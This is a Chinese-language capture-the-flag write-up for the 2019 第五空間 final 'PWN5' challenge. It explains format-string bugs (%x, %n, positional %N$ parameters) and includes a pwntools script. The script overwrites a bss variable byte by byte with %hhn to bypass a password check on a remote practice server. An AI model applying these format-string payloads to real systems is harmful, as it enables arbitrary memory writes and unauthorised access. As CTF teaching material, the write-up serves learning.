[第五空間2019 決賽]PWN5


 格式化漏洞講解:  https://www.cnblogs.com/0xJDchen/p/5904816.html

%x是吧數據以16進制輸出

%n是把已經輸出的字符數目輸入傳來參數的地址中,這就可以使我們修改數據

格式 : %12$x    可以直接定位到地12個參數   其他%p,%s,%%n等類似

一般來說 先輸入 'AAAA %08x %08x %08x %08x %08x.....'來判斷我們輸入首地址的偏移 (找到41414141就是AAAA)

繼而就可以任意修改棧上的數據

看題目

 

明顯的格式化漏洞

因為這個unk_804c044從服務器讀入,無法知道其內容,所以使用%n將其數據修改,隨后passwd輸入相同的數據即可

from pwn import *

# io=process('./pwn')

io=remote('node3.buuoj.cn',28876)

addr=0x0804C044

# base=10

payload=p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)

payload+='%10$hhn%11$hhn%12$hhn%13$hhn'

io.sendline(payload)

payload=str(0x10101010)

io.sendline(payload)

io.interactive()

 

補充說明:%n   %s  是要解析出數據表達的地址的, 所以我們才能實現任意地址修改(要有修改權限,沒有的話可以調用某個函數,給忘了。。。)

  這里我們把bss地址先輸入,然后用%10hhn  %11hhn  %12hhn  %13hhn按一個一個byte地修改


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM